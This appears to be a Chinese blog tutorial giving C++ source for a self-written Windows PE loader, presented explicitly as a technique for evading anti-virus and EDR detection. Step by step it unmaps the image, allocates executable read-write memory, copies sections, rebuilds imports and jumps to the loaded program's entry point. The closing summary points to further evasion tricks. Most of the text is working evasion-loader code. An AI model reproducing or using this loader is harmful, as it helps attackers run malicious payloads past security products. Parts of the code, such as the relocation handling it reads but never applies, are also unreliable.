文章目录
-
-
-
- [0x0 Pe_Loade](#0x0 Pe_Loade)
- [0x1 Loader技术点](#0x1 Loader技术点)
- [技术剖析-2 读取NT映像头](#技术剖析-2 读取NT映像头)
- [技术剖析-3 读取映像基址](#技术剖析-3 读取映像基址)
- [技术剖析-4 NtUnmapViewOfSection卸载模块](#技术剖析-4 NtUnmapViewOfSection卸载模块)
- [技术剖析-5 开辟具有RXW权限的堆](#技术剖析-5 开辟具有RXW权限的堆)
- [技术剖析-6 复制内存中PE头+ 节表目录到新堆](#技术剖析-6 复制内存中PE头+ 节表目录到新堆)
- [技术剖析-7 将节内容对齐后复制点到新堆](#技术剖析-7 将节内容对齐后复制点到新堆)
- [技术剖析-8 修复IAT](#技术剖析-8 修复IAT)
- 总结
0x0 Pe_Loade
Pe_Loader后面简称为Loader,实际上就是自己实现pe装载器的功能的技术,
该技术具有极强的免杀效果,原理为读取硬盘文件到内存卸载自内存中文件
重定位模块地址将内存文件复制到新堆修复IAT转交控制权到堆OEP,本篇文
章聚焦于代码实现阅读下列代码需要具备C++ WINAPI开发经验以及逆向经验。
0x1 Loader技术点
1.将文件读取到内存
2.读取在内存中文件的NT映像头
3.读取文件内存重定位地址中映像基址
4.使用NtUnmapViewOfSection卸载自内存中内存文件重定位模块
5.开辟具有RXW权限的堆
6.复制内存中PE头+ 节表目录到新堆
7.将节内容对齐后复制点到新堆
8.修复IAT
9.读取原程序OEP
10.将程序控制权转交给RXW堆中的OEP入口点
技术剖析-1 文件读取内存
使用CreateFile直接读取硬盘文件到内存。
cpp
复制代码
BYTE* FileBuff(char* file_path_name) {
HANDLE handleFile=CreateFileA(file_path_name, GENERIC_READ,NULL,NULL,4,NULL,NULL);
PLARGE_INTEGER large = (PLARGE_INTEGER)malloc(sizeof(LARGE_INTEGER));
BOOL SizeStatus=GetFileSizeEx(handleFile, large);
if (!SizeStatus) {
cout << "Error:File Size" << endl;
return 0x0;
}
BYTE* Buffer = (BYTE *)malloc(large->QuadPart);
BOOL ReadFileStatus=ReadFile(handleFile, Buffer, large->QuadPart,NULL,NULL);
if (!ReadFileStatus) {
cout << "Error File Read" << endl;
return 0x0;
}
return Buffer;
}
技术剖析-2 读取NT映像头
先使用IMAGE_DOS_HEADER 结构读取内存中的DOS头判断小端标识的MZ是否读取到DOS头,
通过DOS头中的e_magic偏移到NT映像头返回NT头。
cpp
复制代码
BYTE* GetNtHdrs(BYTE* file_buffer) {
if (file_buffer == NULL)return 0x0;
IMAGE_DOS_HEADER* dos_headr = (IMAGE_DOS_HEADER*)(file_buffer);
if (dos_headr->e_magic != 0x5A4D)return 0x0;
LONG pe_offset = dos_headr->e_lfanew;//nt_header
IMAGE_NT_HEADERS32* nt_header = (IMAGE_NT_HEADERS32*)((BYTE*)dos_headr +
pe_offset);
if (nt_header->Signature != IMAGE_NT_SIGNATURE) return NULL;
return (BYTE *)nt_header;
}
IMAGE_NT_HEADERS* nt_header=(IMAGE_NT_HEADERS*)GetNtHdrs(Buffer);//NT映像头
技术剖析-3 读取映像基址
偏移读取数据目录表IMAGE_DIRECTORY_ENTRY_BASERELOC并读取映像基址
cpp
复制代码
BYTE* GetDataDirectory(BYTE* buffer) {
IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)buffer;
IMAGE_DATA_DIRECTORY* director =
(IMAGE_DATA_DIRECTORY*)(&nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]);
if (director->VirtualAddress == NULL)return 0x0;
return (BYTE *)director;
}
IMAGE_DATA_DIRECTORY *director= (IMAGE_DATA_DIRECTORY*)GetDataDirectory((BYTE
*)nt_header);//基址重定位地址
LPVOID baseImage=(LPVOID)nt_header->OptionalHeader.ImageBase;//内存映像基址
技术剖析-4 NtUnmapViewOfSection卸载模块
cpp
复制代码
HMODULE dll = LoadLibraryA("ntdll.dll");
//卸载占用内存
((int(WINAPI*)(HANDLE, PVOID))GetProcAddress(dll,
"NtUnmapViewOfSection"))((HANDLE)-1, (LPVOID)nt_header->OptionalHeader.ImageBase);
技术剖析-5 开辟具有RXW权限的堆
开辟具有RXW权限的堆,堆的大小为内存文件中SizeOfImage表述的内存映射大小。
cpp
复制代码
BYTE* Runmemory_ImageBase = (BYTE
*)VirtualAlloc(baseImage,nt_header->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
技术剖析-6 复制内存中PE头+ 节表目录到新堆
复制头部+节表到新堆,头部和节表总大小为可选映像头中的SizeOfHeaders
memcpy(Runmemory_ImageBase, Buffer, nt_header->OptionalHeader.SizeOfHeaders);//内存复制头+节表
技术剖析-7 将节内容对齐后复制点到新堆
节表数量位于文件头中的NumberOfSection中,将就文件堆复制到新堆中长度为SizeOfRawData内存映射后大小。
cpp
复制代码
IMAGE_SECTION_HEADER* section_header = (IMAGE_SECTION_HEADER*)(size_t(nt_header) +
sizeof(IMAGE_NT_HEADERS));
for (int i = 0; i < nt_header->FileHeader.NumberOfSections;i++) {
/*
Sections节中VirtualAddress是节在内存中偏移=ImageBase+VirtualAddress
PointerToRawData是节在文件中的偏移
SizeOfRawData是节在文件中对齐后的检测
*/
memcpy(Runmemory_ImageBase+section_header[i].VirtualAddress,Buffer+section_header[i].PointerToRawData,section_header[i].SizeOfRawData);
}
技术剖析-8 修复IAT
首先从RXW堆中读取NT映像头,从NT映像头中偏移读取数据目录的IMAGE_DIRECTORY_ENTRY_IMPORT导入表,导入表为IMAGE_IMPORT_DESCRTIPTOR结构,其中使用到的关键偏移有NAME:DLL名称、OriginalFirstThunk INT导入名称表的IMAGE_THUNK_DATA和FirstThunk指向IAT的导入地址表,其中INT不可修改 IAT可由自装载器填充GetProcAddress找到的函数地址,INT有两种表现形式第一种表现形式指向IMAGE_IMPORT_BY_NAME结构可以使用函数名来填充IAT第二种表现形式为MSB最高位为1说明使用序号装载IAT也同样可以使用GetProcAddress来装载序号找到函数地址并填充,INT与IAT是对应关系INT可能表现的形式不同可能为模式一或模式二这样需要编写两种方式来填充IAT,简单方式就是使用宏IMAGE_ORDINAL_FLAG32或IMAGE_ORDINAL_FLAG64来判断MSB是否为1使用序号方式否则就是函数名方式。
cpp
复制代码
BOOL IatLoader(BYTE* memory_file) {
cout << "PE Loader IAT Run Repair" << endl;
/*
在IMAGE_IMPORT_DECSRIPTOR结构中 使用的关键内容
NAME 指向使用的DLL
OriginalFirstThunk 指向INT 不可修改有两种表现形式如果MSB最高位为1说明使用序号加载如果MSB最高位为0则指向IMPORT_BY_NAME结构用函数名加载
FirstThunk 指向IAT 可修改一般有PE装载器写入函数在内存中的地址,用于填充函数地址
*/
IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)GetNtHdrs(memory_file);
IMAGE_DATA_DIRECTORY*
import_director=(IMAGE_DATA_DIRECTORY*)(&nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]);
if (import_director == NULL)return false;
/*
IMAGE_DATA_DIRECTORY 结构 VirtualAddress内存地址 Size数量
*/
size_t maxSize = import_director->Size;
size_t impAddr = import_director->VirtualAddress;
IMAGE_IMPORT_DESCRIPTOR* import_descriptor = NULL;
unsigned int parsedSize = 0;
for (; parsedSize < maxSize; parsedSize+=sizeof(IMAGE_IMPORT_DESCRIPTOR)) {
//指向每个IMAGE_IMPORT_DESCRIPTOR=内存RVA基址+VirtualAddress+偏移量
import_descriptor = (IMAGE_IMPORT_DESCRIPTOR*)(impAddr + parsedSize +
(ULONG_PTR)memory_file);
//DLL Name=RVA基址+
char* lib_name = (char *)(memory_file + import_descriptor->Name);
if (*lib_name=='M'&& *(lib_name + 1)=='Z') {
break;
}
printf(" [+] Import DLL: %s\n", lib_name);
/*
FirstThunk:包含指向输入表(IAT)的RVA,IAT是一个IMAGE_THUNK_DATA结构的数组
*/
size_t call_via_IAT=import_descriptor->FirstThunk;
/*
OriginalFirstThunk包含指向输入名称表INT的RVA,INT是一个IMAGE_THUNK_DATA结构数组,数组中每个IMAGE_THUNK_DATA
结构都指向IMAGE_IMPORT_BY_NAME结构,数组以一个内容为0的IMAGE_THUNK_DATA结构结束。
*/
size_t thunk_addr_INT = import_descriptor->OriginalFirstThunk;
if (thunk_addr_INT == NULL)thunk_addr_INT = import_descriptor->FirstThunk;
size_t offsetField = 0;
size_t offsetThunk = 0;
while (true)
{
IMAGE_THUNK_DATA* fieldThunk = (IMAGE_THUNK_DATA*)(memory_file +
offsetField + call_via_IAT);
IMAGE_THUNK_DATA* orginThunk =
(IMAGE_THUNK_DATA*)(memory_file+offsetThunk+thunk_addr_INT);
/*
* 序号装载
某些情况一些函数由序号引出,只能用他们的位置调用他们,此时IMAGE_THUNK_DATA的值低位字指示函数序数
最高有效位(MSB)设为1可以使用IMAGE_ORDINAL_FLAG32来测试DWORD值得MSB、和IAMGE_ORDINAL_FLAG64
*/
if (orginThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG32 ||
orginThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG64) // check if using ordinal (both x86 && x64)
{
size_t addr = (size_t)GetProcAddress(LoadLibraryA(lib_name),
(char*)(orginThunk->u1.Ordinal & 0xFFFF));
printf(" API Serial %x Serial Memory %x\n",
orginThunk->u1.Ordinal, addr);
fieldThunk->u1.Function = addr;
}
if (fieldThunk->u1.Function == NULL) {
break;
}
//使用函数名称修复IAT
if (fieldThunk->u1.Function == orginThunk->u1.Function) {
PIMAGE_IMPORT_BY_NAME by_name =
(PIMAGE_IMPORT_BY_NAME)(memory_file+ fieldThunk->u1.AddressOfData);//转到BY_NAME结构
char* name = by_name->Name;
size_t nameAddress =
(size_t)GetProcAddress(LoadLibraryA(lib_name), name);
cout << "function name:" << name << "----Address:" <<hex<<
nameAddress << endl;
fieldThunk->u1.Function = nameAddress;
}
offsetField += sizeof(IMAGE_THUNK_DATA);
offsetThunk += sizeof(IMAGE_THUNK_DATA);
}
}
cout << "PE Loader IAT Run Repair Succeed " << endl;
return 0;
}
技术剖析-9 读取原程序OEP
RXW文件堆中的OEP程序入口位于可选映像头中的AddressOfEntryPoint偏移中。
cpp
复制代码
size_t retAddr =
(size_t)(Runmemory_ImageBase)+nt_header->OptionalHeader.AddressOfEntryPoint;
技术剖析-10 控制权转交给RXW堆中OEP地址
cpp
复制代码
((void(*)())retAddr)();
总结
PeLoader技术是模拟Windows EXE装载过程,主要用于红蓝对抗对EDR查杀的规避能够
具有很强静态免杀效果,随着对抗的升级PeLoader在遇到有着较强内存查杀的EDR时候,
往往显得力不从心,可以使用其他技术进行对抗比如模块.text reload卸载R3 HOOK,白
+黑进行白名单绕过等等,红蓝对抗是永无止境的没有攻不破的系统只有不努力的黑客。